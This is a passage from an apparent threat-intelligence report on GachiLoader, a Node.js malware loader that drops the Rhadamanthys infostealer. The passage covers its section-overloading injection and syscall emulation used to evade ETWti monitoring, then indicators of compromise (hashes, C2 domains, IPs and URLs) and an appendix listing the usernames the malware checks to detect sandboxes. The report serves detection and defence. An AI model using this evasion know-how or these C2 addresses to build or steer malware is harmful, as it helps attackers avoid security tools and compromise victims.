Back in the regular flow of the program, outside the VEH, the entry point will be invoked if the payload is a regular PE. If it is a DLL, the loader expects it to be another .node module and resolves the correct exports to invoke:

Completely unrelated to this campaign, we found a file with an original filename of HookPE.exe, which is a 64-bit PoC version of the technique with debug prints that uses the technique to load calc.exe into memory. Error strings in this binary indicate that the loader uses code from libpeconv for PE manipulation.

This injection technique has multiple advantages over “classic” RunPE-style reflective loading:

• Just like when using the Module Overloading technique, the injected DLL will show up as backed by a legitimate image (such as wmp.dll), since the section was originally created for this DLL. However, since the code in memory will differ from the code on disk, tools such as Moneta are able to detect it:

• Some loader work is offloaded to the Windows loader. This significantly reduces complexity for the malware author as they do not have to implement e.g. resolving imports or TLS callbacks, which in turn increases payload compatibility. For example, many publicly available PE loaders do not properly handle TLS callbacks.
• By emulating syscalls, the respective kernel side callbacks such as ETWti are not invoked, as the call to the kernel is skipped entirely. This may fool security solutions that rely only on these section ETWti events. Of course, the earlier calls before the injection (when mapping the image) still trigger those events, but not in the order usually expected.

We published a reimplementation of the 64bit variant of this injection method as a tool for security researchers to analyze the technique and test detections:

• https://github.com/CheckPointSW/VectoredOverloading

Dynamic Config Extraction at Scale

As deobfuscation of the JavaScript source is a tedious and partially manual process, we decided to run all available samples of GachiLoader through Node.js Tracer to bypass the anti-analysis checks and receive the final payloads. By hooking filesystem-related Node APIs, the downloaded files are saved for the analyst before they can be deleted by the malware trying to remove its traces.

The final payloads of both variants of GachiLoader were all packed and protected by Themida or VMProtect. Dumping the unprotected configuration from memory when running them in an automated sandbox then allowed us to extract the C2 servers of the final payloads.

All the analyzed samples that were part of this campaign dropped Rhadamanthys as the final malware. The extracted C2 servers can be found in the IoC section below.

Conclusion

Malware written for the Node.js platform has become increasingly common and is mostly found in obfuscated form, which is tedious to statically deobfuscate and analyze. By enabling analysts to trace and hook Node-API execution dynamically with our open source Node.js Tracer, the time that has to be spent on triage and analysis is significantly reduced, and common anti-analysis checks can easily be defeated.

The threat actor behind GachiLoader demonstrated proficiency with Windows internals, coming up with a new variation of a known technique. This highlights the need for security researchers to stay up-to-date with malware techniques such as PE injections and to proactively look for new ways in which malware authors try to evade detections.

The threat actors behind the YouTube Ghost Network exploit the trust in the YouTube platform to trick victims into downloading malware. Users should be particularly cautious of offers for cracked software, cracks, trainers, or cheats, as these files are frequently laced with malware designed to steal data and/or compromise a device. While both the security community and YouTube actively work to identify and remove such content, these attacks remain persistent.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, filetypes, and operating systems, and protect against the attacks and threats described in this report.

Indicators of Compromise

Description	Value
.zip Archives	062d342f59136c3bbc729e0c412d2c2589b6f9058912583eeb9b61d7916db00e34e1cd959c0c586fcd495225803061e6e2a19e7818c47a46a47822ba6726500d434fc84cc190bb0c8af86d3566d6517672fed9c171eb0df5c7541f0dce679c8b606eca698d0d4a67b21428b0812a261daab36598fded60b189106b0b27992225775b05b8cc8d03751828986727cd1929caf6868e1df9cd21e9366c48ce161c5e872fde8128f3a0f074975b6ca0d83fa56a8289b2063351f298bbf0c9025948d399f4755fd9b25aadae4e154d661ccceecbbb3d4343dc6c81e04aa81516be81d0a4e2c0ffb93103db23777c12b48a31816b83b0799c9bc71e92bb576e884d76d4b48f3e7e6c67bfb3c73c85a33a377f9bb840e1b7b09871ab29a19cdb7965d5d1c4266da90d6c655388ae8d64aebf5f9178adbbe486b2249e6bb7d18451f28a3bcc95609cc375263129b8f425800a9bb462055b11dbf0d8aef2b3312aa2e90daff0de35ff0b889c7e93a89e918488a33aa21e4b6e7743ae87f1993ea77b237ecf
Variant 1 – GachiLoader	00bcfecad4b679f72c50cbdcd883caf55b6a1f641258a636317871c7b894015600db4aa911e95ecfafa6f10ebfeb9f0a8051ee63de51ea1d9515ece5be2a294b01a3da42f74578c0b7c1146f30eceb2a2bc26c2d814a48fcf29ae527a1048aff028711c1b435c773ba600a863f4d4a2d1218860de799a1275d15d4ea93f0cbef02c0de5116d9b05d930e4858cd9768cc2ba70e91be62690439537fdf0f52de53032a297bfbdc94226f0d88c77ab27148c54ebde6bfa2750fed09b1d8667ddcd603d55245ef2766943813c0d1eaa3859d3918ee6fed2705bb5eeb38f4f87a5643079a180eeed0f4fc84c2412ba0398a79c5262efa1d9e8fd53290cd001b5abf9f094240cd298de1121da36adb96b3cdd632f866837f27e3951b6a0a544e5437f60a6d41411ef3c65540a525dc5c3ab0964cd595aa73c3a477a8a96ec9862776600bd44592e75854a1c763384bf9dcea6dfe1174f6f45df342ebd9dfaa3a27dc850c03845b9e2ff5ddac56f6e75b8e9dadf1a7bd1681d074e732478596b31739220f81656ce724b65c230c4d63259c3a0edff20cc664de964f16451417eda6000514bfaf75b5c7ffac451f41352f8e94b6cc060efe7d645189795fa921f4e602bc16b2f7d9d4ace9e3004bd47f97c252a7fea21662656ec6b906d30a6b21900fc418649874ab887ab613a3ccdd7cddc683e2b21f7cbe0762d2ce8201fc7e57540c1d28c23b271eb2156bf2780cb0dd042573f38f4758ef61877a7347bbbc756c8b1ebeca5dc62d759904c47597ebeb67865017a99892081c94d7647206b78a6cd21f35a5ee4ead5c286f3e0d3ddecaf8789f12da7b8b7422b0511af619353284b72038f38ccd42cd1df84abfb5915e3a6eb9c976b8d822768068343716f46a09f1210d821109ec1dff3b92ad3cfdde59912581327f4017b754864ba1e263c3c3662601d2c2b4515d3f1414d4543cfe2091490e2502457eab6c437a310f7e5e2a1a266216b097561e57448b940c3087b82c4cea7581b67e5dcc52c8c4dfcbbf8333278c5a0acd6603947e59e1961642279e29cc4b9be299c8edb7b719d6568eb8da29fac0ce48b9114990a4dd942d6de1da55bf9c49938929123fb1f221be385eff2a87f4d47ad95f4eb46c08a4d33fd4732c10a1408db1b758871dfe6b1059c6bb2e5389a32a6c21fec476fdc6e80fcb577de31c43adb7c090c3a11f3b048787ed2fee47e12ca72863ee132d63dcac3b39aeace1a4d71b0aa14a30b56ecabf29c930bcfa6bbb5e9d9bc64c65a27e1565a9ad21af3d5e1f202933a340cc400abdb93124fe59b26dc77c1e4b4d615112928ca1830c890c8c77e853ac6948069ba4633151700d8f13cf55ad46148cd46ccb0b3409c0adf253433f16ef6612e9280eb231dac5bc21b0dabfac51cb99c821e62421c39949971a44898a1ec15efe33e8c432855dba1ec6b3c9ba422cf9203d8130e59dcb5235764b8f56b6d02970a5e5b533dce93dfdb43f47ef1d36e2dd16725ed365300c371dc45491b52afe13b6e4123630538febdedf693ca9d996c3f1998d50c97052ab99e653d95b381ddb3546ef38a7feb5ab611e6a487ce8b048732f7721484ceebb316fd34c9cc611dbc4e3cc38ac7917ce895448203e6d14f121850ecc4ff89f530e792c794d771f881c7b073c16548ab32996a58298978b20db1d4133827298e166f93b7c943dc3ffc517823d8c1469de3bb01ef72992e07d1feea9380183983327576978851b8c78ea7fc93ed63941e7411e93f644a064094b5a6c7e2a9547840a5198dd7f6b4d45ef9eea401e7b72f4b7ed4119b625ab34c2c7d37c0dabc08bbdf943fd291445e2fe753c40f899294ea02f7a9823ada63c869ede18a8afc6238aedb62d2b30a2744cb8464210e9e1df0bc41e497285483782609c0b4777ef6682fb40b0d25c8149c9f3d2428f86204b69f31dfc3f3479d18d23b15cad63d72998a8418e8da22941c7495643b1a11962f83db6bb59bb7467d5456e852d0421ca5eaeae3a249a34839e67b443d9130c8f077a5885842bda24bee19e4dd231c49f88629442e5b9f02ff5f33a45fd42669157357f1e16c0b542eab5836061f5b2e2160a5104a4bde38cac85bf47ab9b9deaa14202b94320df16f52c8d98adee49c9bff8909ab5deefcbdfe40148a269d2c083868e2b5347012afb85bb3c233c9f042985bcab764f77883166604b71d8cb7ce8de8d557283df3543aa2aed89dd5446c7acf855c0ea2e5e7e89dd4be48937c603c910c29de2af3b0d3e3bc05b809b19190e90ade2489a347d8b034ed90af2fb3fe13eb8ab69fe2fcd82a0775426da33da4ba043d7e7e2fd4a18f74f8c55cb3f99741f4fcccdbcff07c7d0b8ab7fa23dcbf8847d7a37a35f6d3f5e4f95af5b4a1569eb54f6995e547584f429a49895d0d81c71d74970275b170a085173c6b57642dd89dba2f039a1ad630d6d73d3557248dd09ca2a51a329e6119e53ac3b1601f2fa43121cfd43ac9b49f6751a8b84b4ffcc5a1241f71eb1e8d7b85538d6f24e1330c934cdfc95188aede5c9668154376e507c41fe1c752cdd7a5b561436df09f87be34317eeb25a2b7bf5c67201fa501262f72a9a63b9977ae21759c93f81063e8b77b20292d1d03598f74d997690aac41f5fb7a248ac8ad866c25c88a6efd0a713460dcf8b828575285be3a43d6481e245662bafb3472d344dd15d1bf72af319901f22d78625d60c877d7a8d6c54bbbcbcfc643376558e1762115dbdd6d45021383a3c76b2e0c7258a7b0fcfd70904602eb2fb1afe3b33efc80e60de97fff85ba6f0b114fe565f53ffc1ef43a19de95c31299884e034f05dc037616b74a6b17b70bae357c43cf03fe1946abc36eea1d0e7d911ca29bd067f63ae61e215ccf73cba014ecd72abd38ff78d5a23c2727577c5b3e2c8f52b90dc2a4a62bab101900a92db76e2c368c4a83f7340f42c460b16d11dea94c8db002d5bc962bcb939df4a8b7bdc896cd229cf34f55d93555c14e5816ac2aa6285d1cf41126463e7f48f01f482fa846bc106de245c833ad7c3ea7fae4caa7ead54b2901cb964d6d018e3b7a1d718b96d9950b3579af2a784ab004ad575e13cb41b2c27aa2566e684ab10b1daf2a46df1031c6ddc331ab80af4e21144a68997d4a1859e9fd76985717a754fe121e99c337cc33b0e9a25852fa33c580dc9caaffefaf090823369c0084b78bf963997033759fa45933b61de425aea7612a06289ec6c784927456a8dd64af57926514131efdc388c9883db2c23aebfd8b97c44e808d637f0fc236b80c4fa88fbb35af2b254c63586fd6e0455d0e917b842afc79b821ac87a2b9d6c428016506c2ae076d049deeba60514cb8c0afa6fd00fc349722cdbc6e1b3056d5af67f05c9db6763cd494f64c5f62faeb8f1b67ba26a7ab278e27d4c9b8f226f1b97838bc5702954ef5f536de86a8477e0008f25bcfba72b7fda4c1f37b9d26fcd071c6ab51e71407e8bf242fac8552a10aedff113c9efb92ccc53cc49fbed7029d2c60ee04772d9dc4d8d34f5effd3e3be17769584bbf912954e92628013171415238f740c7528f3314f94dc07ffd9b802a34c3997b09ad02da1bcd3c8137717f05b96a344b1fdd159b4c45e3089a26d1f64e63cd4ac2ed3bf2db33074c3a765041cdf97bf0b55734cd5619d7d4568a641ae3fc35540344a488184839674b78908b01a8d959b80f7fa1f42c734c4c64a8cec58394f94cf362b8efd38c7b9c78b6c96910d8f1e3889bad17f97cd26aed5f6c7a15432cc11c2224a8c9adf6917a155a20c1e5df83b566fdad3bf59ca49ac6559e0561233a95c7cd70a5caa6dc7db2025192f4f2497bdc356c1920dfc4740bb868de8a6b5786f01865dfa9e564825bd0b103d647c296bd2b9eee251b04b7f5dc72f27898fcf0fc25ca245871258295cddaf1c23d554b90e4d1ee1ca064f68124df63003a046f58241c3513cd1e8383a421e9a4f55af53cf1911680042659b28722cff8a30cd202bc728a8fea238443994a687269f2d7d19678e571ce1a1658df7da69c25b4bd902f87f849c98d857f68127546f829861e796b11b80304e2c53e70e54191fec8087f64d7c8146d86082a735440124bae953c0a68e5eff6a7fe6792f90ea1e71cc0c83a724bc27387c1c62369657904418affebca3f706a4e968dd1a672729274ba287dfae43be488938ad37225074c923ac4baa0b4a171076c273cb064a4905c66a25ca3acfee08d473631c12231079a241d63ddc9e4b537d2531135e9aa4d795abf22f2aefd398db4cf8f666b7c4ec5051139570b5d3b88569c9e62de31249a70b6cdc716aecd9211d6fb5db70a51ba5795e0a7126aa1efd0f4b78262031dfb72e98c319ce37e95760397b9cc05d0180258afee22cd8e6bc997e13754a11cb737733d0beeb44495f875c01b889f9ba811dae11822c6c83eb28d8260f16ca070c76e83f6f7e7cb96d2c11dd5bb43da5945259494d7e26a68b5c48eaa32d5eb2d1dc61aa0dfb7fe980d0d78b3e288f24bcb793d2e49a4e26138cfe4ef272171557658be751d277d99a3a973caf956102c563773a9a58ff79c539c7c77480873dd0e09fa259b359499cc25edbc65ea201b957abbd6cfbd7b3b6f04759cbb47fc999d35508a6547489a0ccafc516df1e931ba2028ea59f39b31e1cc812c3a2ab1765b9e91fb8cc5079a28d80ce2c191d743554313edbb8eef09e6f72b34c4d701c0a84090d61264e99b60930efa096a98d9fb6392c74f8d3e5f2df6ba8a5b31a304b7fac3d847e7f19c562c28323e7681c1cb5a4b23e703c21cda8bc020946de691b6765fcb613a16a9ec251b719b2ebb85e50f43eea4e2944e0a065daaf5c92420efc852b594d96fad27bfdd9d51f81e6e743ed351c47812874565e89f6ace03ac39d6c85fefa949af0891bff41d67815ed7a979fc2127295ea662079afa16d09d1a377684d678bab1b72689afa038d413e36f5aca61b971b69e4e411976cbd01e3cbf5b2e83141eb67ac42c0ef7402dd53dc950e8162e9a213aa65d5a7901a5cc4aee0b93058b93b6a3ad06c57b45142dd7ac2c77ea70980296b5d168517f5d7ec4100ec10d305ab8eaa5c0686fb49f6f3e4edd5716df48581001249d5e62563f2468db73526ccebd378786d84743beb0adc8d3dd14ff3d7996caaf6a1eb8783c665091ee9ae225bd7df13098f3984a18c4a21282ba04ed802bb73c1f91c7eb5a35b89544c545cbbfd049ef7d1384a25c3edaf857b94539525b5f442dbe543fafa2356315780d8dc164232a5a3a2b49705257e62c5f8e004df68e3cf32d7702e4af879abd55008bc1a6587fb04a94943ab616cf0ce8b3d0c55e59ffbd4bc9b3a1add955391210aec1fb323ed08adca20912906e8756e6f8a805cd1d08cf20226f37cb51f33117ebc4cd91a5ce722f3c510151513501e9aab54ad535b934132e6e6f6c9c76be2e9ec50c73ef1be87b84055ee73bda503ad20884fcf67b207fa918190f40f4353729c5e9eaaa5dc6ec4780c319c26a4f552f7030438dcfb008ccfd52358512dc3f81c605642e0edac4b63e9819648f79d54d5f47cac240480fad808cbfb61f31c88ac67bad311a48bb86a865b08ad2ef175a17e46063ef3c5de734fb3c4a5ea07578ca0c525bf22b499b2f374d41f7e07a60ed9181645af485b0183c65eea68d364dca1465224a206c9323a4a3215afa402ce7f592ddf17db5d477d2a5905e982d56cd6c1ebc720ba509967f9e508657ad02d8fafee1d958af0174bfd0d192291d0ad2c3f54b03d50271dad1eba0abf1cad6529d67b74015e530f716bd18f943c6b5d52894f027b8ce185efa3f584024b8a9a7f6694f6e294aba8ddac9789d00468fd56afbac1b7eebdb1aa03744cb45a260975de75a08e7f4d9a89ccb57656d9b65d5e05fa6ddbaf68f6b08e188d444b664a08a69a6102df37c4c3c3cbc7ebfd326d5e530f607260ee2ce19ef3f6ac277b202cd15fc947b0c02ba9060421f799bc3d64d4ede406cc439617a2f17e31a3d9c1adb81d35cbb97de1a7e0145b03a08cdd666dcf48f569d6ba9defd87e149408373c0ac237a017624fd51aacfcfeb89d0d66fb9cc2c40311df8af5aee664303f5226338cd0f2046cb2f8d8d42bda6f9b9d737d53d2fb7a233b9732bfcd9c99ac8ef9846ad65af07cae490c8ffd9dc02eed858fd5207e758e84b7ea1a84f27b0e782d0cf3a39db9fd72c3869bd136f9440d9133df2668bac02ab8150fe9bc7b44a69936322b624fdf80a4f0de635970e81df481a8014760def4bdd933639d01e8381fed910f5cf6d0e974560afc446451bdff27eb46d17a25416a9cbefb705d13ccaf8bbc03461f3112fd5132c6261a187e111cbbc94fa932ad24e84cb308195ad7d05fa2d9bb2716a0f6f9c11a4c3f570e17622f041536a253ab17dfc10011a65225356cb120970b4c4948df1c37ced23e1d90617390211860b40839338c235df016cafeed7bdda9f39b17b86f48a9fe8e37d2b812d6ce5653ee7c54157b6288469152dd64a4cb3cb25943bbc3b28e909e6cdc47ab4a4496d42d84281d5d89c4fdad665cad0546e820aa29e9a18d454f2e70516e7aa7c9dbfc459993516cde705685f1e44a75c29c55d9f71abe7733c78eb3f6f8f99b86d4a68490e56a6f5a963523743685ecb6c8bd1d87389dbe0fde0ed74747bb58f78df2c11f247cc173051cc0e058fad7def595d14b8ce03889a53f09e67864cc19f5b831fde944c7ee917cbd3af9ff89ed4893d2fa441d12bf5d9f25531eef40e268b251ce117375bbcaa1a586506d3fa56fa722b200713ee4c1bf37df47e517702f3becf6e3c85733dfea0031572bf199c1f56faad951b354573f566a942a7c59f53efd9418f0c97850a749a806ee84e88056138c699d3b4d08af624c81e47e350123490897fa04fe43886ae9cec9b128e8b9ef54fe9405b4612f64a20a44a60dd899bf0cccb5de57897dd80819cd36c55878a56ed0d1c995352f8a881216fce67e89b8a56774504b5ea86ebb763d87ff7426a9344d13790e7eaf94c8771545fd31371dcdfbe80260378709e686b44c2b440957cb923aa952b37f9bc90f545b3eb8d5bd963d00debc6f3ff22403f94f91d063f18a7fb85be59ebfa1bd55fc9aecc625992448306e0dd456e4011bc07a926046ed6d3280aededaefbfa7f980b0d29f8c12933ef68daff306e2cbec3247db8242a5d97e6a96927d7ff02edab9a670769ce074b2f6d6728909950785d2c8507e01d3333de98156c58ff89d6917b775ef0bd38e4ee3a401bb310c4276eba79ff872b827920f72185b3ffd7d43487fa1e15d8ea2a1e8737533cfcf7763cad6cb7504f270500a37f4261
GachiLoader’s C2 Servers	davpniktonevidit[.]cfdnupogodi[.]cfd94[.]154[.]35[.]99nexus-cloud-360[.]comglobalmarket247online[.]com176[.]46[.]152[.]18213[.]209[.]150[.]104[vault-360-nexus[.]com]iietrich[.]cfdmceenzie[.]sbs62[.]60[.]226[.]23366[.]63[.]187[.]72digitalservice365cloud[.]com178[.]16[.]52[.]231
Variant 2 – Kidkadi Dropper	01bdbb37d4b5d22ab98f1977f89c0eb69b35cdbf1d690c434a9d21dc1d0c56b002bdf8a8206b520db3d55fb7426ecef1ad10518f22eba26c848e548b75bc999904bb04bbea55fa1dabda974b2c2f4aceb44ddccb7b9c1715e0aa67318369a7680577a28c0bcc1b033f44f458ab2d068fc301ef30d4175a3d2012d3601e9e13e10859936dff1e2af60940c5f0764e187c642ffea5344118eb702a7ac59f5a928108b5875f9867aa6c71cb8d96fb79de9f8975e0f7d1298388c95845aaa49e55de0ef9623e3ba8bc2c5be6de9cccd4a9e17bf74d1f8f83455da40c35f72fb34922110a17f1d65790337329d22d94ac10a9b6581202d5eab02897cb41ac543f100713f1ee54ec2f7ca835313b828c64d1b0ffd6288c59e3361013a17c765da7335c178a24418d3057eb38b80e63786f9908a856618f1d19a9b667a55dff2717c9db20179c8ceeede0056b0d3f545d0641160490642c90b23dce5603b8b47acb62d02101d91dc775638f1f392d0867aca9a15d9139f0c986ed7004df134c9c52fcfe254abb6da9296f8c6f8e567186e3d59ddba2392fa4baf791492f7e76b4ff5af728a9a74d8eeae80de63a1938cadfa55a5a0f334e593e975cb32af8ec3cae79e62aea932e216145e38e5751f4daa9788974dd8e4ad4e90d7b42613d3df6341aee2e519a26e3cb67b9e1186065c4245f89b8cdfb5b3346fc86b028213e0f08c2862ed1c34780a3e9d2972f14d2828abf77a329075bd4c055458ef2f064237544b9354a66191805500b4a45d7455fd02527ffe0b76ae9285eabf8f182ea7d893c1938063272da02cf4fd383c634df988c07dcb2ce59cc3cdb036c4ff155fefc62e238da058e5fafbdd9c371f4d64e7cc0e317ad1e59291470ddf01c7681c0c03c433903bab79a2fa38e05df6f311d2dc9640c5916f8050bffab0d47ab8e58837210396caae9215849b674eecb0f8d5b91985f81986069c09e50454cb8f607ad423139c72a4467ead5190ab2aff718c1d8fe66dd03760b3c2bb085466d56a6d10f3e39cdf78fdfeeb8ce82f5a8b0abbbfb1a74fd0bf9568e11a9b5f5d47060c33dc73dbea0934dd2de6441ba27b762dc6424ce518f4882555fb96cd5225f9167339a405072e611a49489d1074dafcd84791f60ab9daebf55be36b924718e9d847c48416b81138d3c20578228c9610dca686eb7193e8d93cc4a2a18e6815efeacb810425d78b7a5cbd87b36e4ca991171e90851d0dac29fe5934fe9b289ea8879329846926ff7f778ea242603d233eabc0916a8a6945769fa0ea20c60cbac1f1641504a509f3605cb039c6f426e110b23ce82f1ef67db06c32e4bc5ebfb3ae3ca1e314bdf84addb7e9bce6bb98086e6554f68fd529c49ae20b770d8db9ffc9debd3df4bf54789913bfbca6bb87263137ff6a662e32eb9e9ff124441af6304cc2b401e568e8082704d7fd2473862e93120412de1d043da5d106a12f9d1d5f1492eb17356e4bb0f077b2081f0fcdaeaa90d8c6da48beedfb0a381ae054030e5a2988f05574934eeab1d23c163c4e59cad869de2f5c3d46dbdd563b17fb4320b53e957705982d92d6a3bd210fd13a9986bda7f9fc6cb0321e523506acf9dc2e9ee6501de59a17d129944bf8bc426d23746b285522d94b293eb2c2808d56a307022e5b92d5a290d01a08f774f13f0991b7cf5c8c48b8cd2c0eb896ad069f02a474d8747f25bd83b8ecfb1efd13191a76cb0998cf6d645491b76b6fe4f1a516bfd756bed3b5e4ae0bdc6081a22357e73aff3023a63623f3475610b23c35ff073b0b68901756253d1285a7579f482ba1983a2c4db2c01f9f11194dac76aca4424e3d6977a0262db621c97bdaadffc1e900aac8d3af6e4e759b27018da635418c3921e1c8068679ff95c8c383d55b60d80d1803f347e206bd358e3980ee8de1de105680ffb376bcb16d0ceae1b27bc7860477aa60a8c2a2588fb7625aa3a2dd78ee5436584376dc57007880918de4ef89d98b70dfa0cb1ac4c7a9d1eeffc57408d3f185249806e087f40e4aac5fa780bfd1046c1d65e2b59c6abf391f9507718e61be61ddf426edb286fa173145e8bb9597d8f02ec3d86f9f680468ba48618bcc5d2240ad12173cf316dc4359d80022e0ff7be22b9c86530e982a1d939e78a20090b9373b8a477c728333ebff9d313d87b763b9d8e4a9d580b76f734ea6e43d7cc7bc81da2607a70e48a2721d5f5946ec2904dee105ba6c8561b205e5e8fce2aa5f6f3ef05497c53826ea6a9f4ba8d44ca455f1723af9d72b99e97d5053babcfd528fb344e2480e8a40be533b4470275d567f7f9d21f6ba4e41e9b3272de77ff67ab9f8442b4828c2b61686f9dd8ee888a89ad92793b586a273b57bfd0ad57be6ae2f72616b1861c9536994ea3bb6c7aa5463001b79ab61fd945cf44956074d9034e384b38348b30ecb0376e7853c4b323e6b504c967d76f22aa880c587878aa4d5de9bd98088ee29bb1ea8f289d2233fd8053001a29b4fb7d5275120bbcb3e92f5cd5a77b478fb633896f714598c3b935cc45658f3fa14c99a006708c0a78e2f7d29b4c2b1f90f4f2c7d5fd9ea10e05cd9bb28a7700fe3fd5cc97d5d59b7e0f043e74f4adbd9dc8628aa94effdb2e982d10a6daa4b7897b75db9d452d806f839c9099c01fd49f074ac880d8ae454c84dc03fcbaf0a9c4a15b32a28a590708a38ec6542fc6209f38d473a87c4c72760dd3e578c21f23b271c3c6a28d92e9ffa842073c4abc3ba0857210ed5a0e38a73a908158905f4271bf82d3f18e0f73494c1846043102f6a21d016f92be196e4d101a9f20d928ededa930dca835e5bdaffa0ea96372530ea3bdc6f2f7930af9d4f3378c88fa9c84ee36c8a79b6689c0907fb4e065d7b572a66220bea0f76e47ca218b99a2b91c7347cb3a291f2df03329009fde23c1a02aa745b6efbb006d7c9c33503c12f247a95d3d72b98e22f6aa883d7ef45359afdcaa71db5eb8ec06fbf676dacbb53bc3fdab62169b7287fe5d489713661ddf6360af14df77f75b1440cd98dc39e4fd24e4d4da62904a699ca2e977c91db30ecc0dafdcb3443f1b46fe4bd0818654dcbf48a542afdebef4c0725618cd66b2dbddf9b10e7bbe60e82ec581a3dea4d829838d9c9603f4581125d0200b620d366c75cbb281b6ffb8cf114b5836ead7cbc424179ac4070e2b15721a5a84af6be0b376d1b8d46875182730276cf2a67de909ab4b8f3f298554f39928b418984d8cb515b0bb359ebb2ddc1489a3489c0c37b974d05f9a37e23d4e74517d882fb5c7e493b0bb88a06cff4e8d73eef046c6a8352dfff7f52903761ced27acd68c065391a464bd2fb7d2bb7c15d634a986068d5cf811faa83aed72cb7e81df5e5082b22356d2be68dd32a6b3375935fac1cebf132a2fc7fbfd4074cb8c53022d8eb4e7e17db1bf5ce4b2911f2d6592abafaf5096936e61d23f98fd9a6b6bbcd763269fba729bc0b239f989ecd535b9e80570487a39ad67c1e77ba3133caba150da7bf553b724c10d286de8111a7133831d57394164586584157da2b50d7f3bb85582d69c2b17c26b86a7e9ff0fb61a2ac0e9eaf78ed34e97a0326df66c7d2311ee7a6033e590c2b66d97a64d87ce48eb5fb972d23a6b834a677ae154f9f8d4300e9699922ca5c7646b0f6de08759e19928e25f2ca65cd023a9b820101ae52eb2dc7c7f6f1a69cbeb46542f05028aee563efb5afa3616612637b31928f98b3d880de2ca524fb0ce5b2579a7893c29ad24ad7126cb83ab629e1d879f69348ad2eb5f9b884d4c44d1b7ae2d2e12faa4244bd4e5625ffbb2e525586f888bf5b292386221672b5b6dd5038061e4d308341f6dfd7e807c84266442dbd0afe3b567082ebf6fdbd4c5d4d51e67e9d81041500994880ecbad47f43a66fc4779a5f79c2c1f47517b8b14ecd79722670889cf3ce869ed23be59c12029e0df3e536162045b6a87f0b522672dd80cd0fe212dcfd4a0e683d36c48ba73a7e500a31dbf3f629a13c89565db7580d8d138f4ebb7a5f12691e2c4edddcf906b66bd5640f8e09e1196a629a624a2cad9e2773a56847f4d28e82b2e7215bc4db05807a08d49588f6d6b40be9a430d1bdbb8a2943af9559d4b3ec8e4c0879cfee3edd882e78b1cd1fb4546acdd7365eedce1732d7e260843a9930dea78ff1dc6c469bd306817c827318b56d754f77a98dd851d7d8b79900e151f91f82d9f1826db493b67f012829783001ab5ffe392e2ddf5f0ac5484e8e3090b9ce51f53f57cba9550be0e5fcdc2b60787ffc31c15c5de13a7f1f2cc3cfeeaed063b558134631add81f74e58595bfdf921ff78470a9cde40f512a3ead48f8c334bcd92198304df41d166ee0c0a90dc4a281464ee7980ded2e57b60ba81fe9fc9a52ee0591db262527a0b6d166c6ca7165bfb99c4e835e076d0d1bac228175f0ea23046f0bb7241b0a0457d245ae365ec3de8554a3499e2627e6c31bb30f791ae80fbbf7d6b57a9ce6ae9e568cff6942ccf6f72195a5ee4d7ace20cd9704805d144c26bd8c54f6a1b3175b549b6c8279e2d0ee81da9d2e58ed739c3e6f0f1b0aee262ce0cd99cff6fa04ec7bd665c7c9de7fdfd289c1ee7372984816703e5664bb1a0632bd7689d573e2868ceccd138c0a5a2977b2a23e79d67e6c265ff53fb428123711db25b5fc3612ae650b55a2c6484bce3385bece806c33313e0490293edeb998abcd9413744e307af5619662ae6a62f6224aee7ec55eadc6aab2a8c519c016e4b238b39463345c87160b7e2005e6e38ef05ff21eca5155749b0f83671e8c17094a4380c19a3b5096781bd7b88cd9f93a70fc574ed0cbb7b137a10493319473610209016f2c1a8b9560876bc32999b472a32e18fee363c5bdc5e786b0b47840d8fe69a5bd71f3684a9eec5d9e49b9ab68c64c793ee752ce83f645fe4d3db0b1d8c41428d7b9adf37e72a9c21c153450862d30906eed231bda3ad5a946a254d06865610e50b05eabaece8f09f84323d9fb23e2742ef4d2a7ca4306626ff90e53ebad63e243a50dff63f34eb0eeaeb4acb2f39c42bf0269f2b26534acc3ef8bee5b243c54b14812769249a974b2e2b7eba9734a967f1de30fa0eeedc1f1a7d97736cf751c88fb01456a182f97ede7294bc89bf69aff4f18af4acee36826b8e2162749250ffb96fc7f8f154d181dd1b8179cf4da68df73e65f624f15d967951a6795c712daf31363ab1602485c164549b04989caaaff9648d34727738abe86310378929ab7a8d5c8f2698c913bc84dee9be49e3b96af98ce437118aeca437a43612858068f4ea6099bb93c63f1b4ffc4d4335e8eaedfbae3424943aec7aea7ce380c7a83c89ca9c6ff243bfac5186edba6e560f5b66fd06caf741fd4e5fc9f00c575cc22c00f1a7fd55e826a16dbabc8b3436ed64c4
Rhadamanthys C2 Servers	176[.]46[.]152[.]18:8181/gDatFeDway/r26ggaap[.]dssde178[.]16[.]53[.]193/mK2k20ajW7kairt1mg88vT1aT9vwU5AZN9AkYYs2QBNbnXV3ph/YEr2KP0jEBhSDdVcS9cWNhbKUgDxcEm9kqxLwFAdHgmKyw7FZq[.]exe180[.]178[.]189[.]34:8181/gDatFeDway/mh3af5md[.]wg4ja180[.]178[.]189[.]34:8181/gDatFeDway/ujp8k5q9[.]kbtsk185[.]141[.]216[.]120:1888/gateway/st2jdbg8[.]gsg453[.]126[.]4378[.]16[.]53[.]193/mK2k20ajW7kairt1mg88vT1aT9vwU5AZN9AkYYs2QBNbnXV3ph/YEr2KP0jEBhSDdVcS9cWNhbKUgDxcEm9kqxLwFAdHgmKyw7FZq[.]exe94[.]154[.]35[.]99:1888/gateway/el3tkioe[.]xcg4w94[.]154[.]35[.]99:1888/gateway/mbw0n34s[.]gibis94[.]154[.]35[.]99:1888/gateway/wwpac3ey[.]q23nfcxbnqdytjgrxutmzawczv[.]cg/gateway/0f4m3h8r[.]trz19jfbcrmphnnikoktsmcpzirlplkwp[.]zl/gateway/8pv47lge[.]93qfg
Kidkadi.node	2ac4f1a2e22c99a823f18dba8ad5aafde0de98966d5534d5af61650d1f47997cf87b964e6a619cae6bb8852822d70bee93d708da98214e3b2381ff0774ee8e620e0a094e2d27a0e3583ff528296f784d29e139bed9ba41fdc6788169c83698b472eb1f7a418def9d64aaadc556f9350d2a8c444eb7ab56fc59324c5d5f4d76f933bba47346c03968977688bddbdd245210c06fb7686b4dfc78789c70e2a95219f9ab9fc5f1e092ace1dcea7610f4643040a85a5385e3eab3c3666bfe09dc8d6b90fa0da74389a302edd4cdb641f280bf95b9f73ed7145f0f9c1728c576cfc0df1d405b03bc5913b6b43c06550ef0b9b02196b270625e4dc5fa0c37e8a424be25
HookPE.exe	ded68a8f5d0765740d469c08bd66270097f3474eab92ee1e65ddcdd6d15fca6e

Appendix A – Username Blocklist

mashinesssss	sandbox	honey
vmware	currentuser	nepenthes
andy	hal9th	johndoe
wdagutilityaccount	abby	peter wilson
hmarc	patex	john-pc
rdhj0cnfevzx	keecfmwgqj	frank
8nl0colnq5bq	lisa	john
